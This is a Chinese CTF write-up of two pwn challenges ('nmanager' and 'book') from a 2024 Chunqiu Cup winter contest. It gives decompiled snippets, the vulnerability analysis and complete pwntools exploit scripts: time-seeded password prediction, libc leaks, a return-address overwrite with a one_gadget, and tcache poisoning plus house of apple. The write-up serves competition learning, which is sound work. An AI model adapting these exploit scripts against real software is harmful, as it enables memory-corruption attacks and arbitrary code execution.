2024春秋杯冬季赛—pwn部分wp


houseofsome实在是不会就放弃咯

nmanager

检查保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

pass可以被预测

v3 = time(0LL);
  srand(v3);
  memset(pss, 0, sizeof(pss));
  for ( i = 0; i <= 0; ++i )
    pss[i] = characters[rand() % 62];

结构体

00000000 Data            struc ; (sizeof=0x68, mappedto_8)
00000000 gender          db 32 dup(?)
00000020 age             dq ?
00000028 name            db 64 dup(?)
00000068 Data            ends

联合C编程,过check(不成功再运行几次)

from ctypes import *

libc = cdll.LoadLibrary('libc.so.6')

libc.srand(libc.time(0))
char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
pss = char[libc.rand() % 62];

r.sendlineafter(b'input password: ', pss)

modify函数可以多次修改可控地址内容并且输出输入的内容,当name长度为0x10时可以泄露libc地址

do
  {
    puts("## select the idx you want modify ##");
    __isoc99_scanf("%d", &n);
    printf("gender: ");
    read(0, (void *)(0x78LL * n + a1), 0x20uLL);
    printf("age: ");
    __isoc99_scanf("%lld", 120LL * n + a1 + 0x20);
    printf("name: ");
    read(0, (void *)(0x78LL * n + a1 + 0x28), 0x40uLL);
    printf(
      "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
      (unsigned int)n,
      (const char *)(120LL * n + a1 + 40),
      *(_QWORD *)(120LL * n + a1 + 32),
      (const char *)(120LL * n + a1));
    puts("quit now?(Y/y)");
    read(0, buf, 3uLL);
  }
  while ( buf[0] != 'y' && buf[0] != 'Y' );

read下断点计算输入地址与返回地址的偏移来计算idx,覆盖返回地址为ogg即可,如果n=8直接填ogg程序会卡在[rbp - 0x78],调试后发现在ogg0x8填充一个合理地址即可。由于地址随机化所以计算的偏移要多运行几次才能再次重合

完整exp如下:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('8.147.135.190', 34466)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

libc = cdll.LoadLibrary('libc.so.6')

libc.srand(libc.time(0))
char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
pss = char[libc.rand() % 62];

r.sendlineafter(b'input password: ', pss)
r.sendlineafter(b'select the idx you want modify', b'0')
r.sendafter(b'gender: ', b'0')
r.sendlineafter(b'age: ', b'0')
r.sendafter(b'name: ', b'a' * 0x10)

r.recvuntil(b'name: aaaaaaaaaaaaaaaa')
libc_base = u64(r.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00')) - 0x22a530
li(hex(libc_base))
r.sendlineafter(b'quit now?(Y/y)', b'n')

one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
libc = ELF('./2.35/2.35-0ubuntu3_amd64/libc.so.6')
gadget = one[0] + libc_base

r.sendlineafter(b'select the idx you want modify', b'8')
r.sendafter(b'gender: ', p64(0x404000) + p64(gadget))
r.sendlineafter(b'age: ', b'0')
r.sendafter(b'name: ', b'a')
r.sendlineafter(b'quit now?(Y/y)', b'y')

r.interactive()

book

保护全开

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

uaf漏洞

void delete()
{
  int index; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  index = my_read();
  free((void *)heap[index]);                    // uaf
}

堆溢出漏洞

char *edit()
{
  int v1; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v1 = my_read();
  printf("content: ");
  return fgets((char *)heap[v1], chunk[v1], stdin); //heap overflow
}

_IO_list_all链接到fastbin上之后进行house of apple

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = '> '

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter(b'Index', str(index))
    r.sendlineafter(b'what size :', str(size))

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter(b'Index', str(index))

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter(b'Index', str(index))

def edit(index, content):
    r.sendlineafter(menu, '4')
    r.sendlineafter(b'Index', str(index))
    r.sendlineafter(b'content', content)

for i in range(9):
    add(i, 0x80)

for i in range(8):
    delete(i)

show(7)

libc_base = u64(r.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00')) - 0x219ce0
li('unsortedbin_addr = ' + hex(libc_base))

libc = ELF('./libc.so.6')
_IO_list_all = libc_base + libc.sym['_IO_list_all']
li('_IO_list_all = ' + hex(_IO_list_all))

show(0)
key = u64(r.recvuntil(b'\\n')[1:-1].ljust(8, b'\\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
system_addr = libc_base + libc.sym['system']

for i in range(8):
    add(i, 0x80)

for i in range(9):
    add(i, 0x70)

for i in range(8):
    delete(i)

delete(8)
delete(7)

for i in range(7):
    add(i, 0x70)

p1 = p64(key ^ _IO_list_all)
add(0, 0x70)
edit(0, p1)
add(1, 0x70)
add(2, 0x70)

target_addr = heap_base + 0xc30
add(0, 0x70)
edit(0, p64(target_addr))

_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

p2 = b'\\x00'
p2 = p2.ljust(0x28, b'\\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\\x00') + p64(target_addr + 0x210)

add(1, 0x200)
edit(1, p2)

one = [0x50a47, 0xebc81, 0xebc85]
one_gadget = one[1] + libc_base

p3 = b'\\x00'
p3 = p3.ljust(0x68, b'\\x00') + p64(one_gadget)
add(2, 0x200)
edit(2, p3)

r.sendlineafter(menu, '5')

r.interactive()

最后,houseofsome虽然没有写出来,但是在写这题的过程中学到了很多

  • 覆盖main_arena可以修改top chunk的地址
  • 只能写\x00libc的时候可以覆盖stdin_IO_buf_base为指向_IO_buf_end的地址(前提是指向_IO_buf_end的值末尾就是\x00),覆盖为要写的地址

  目录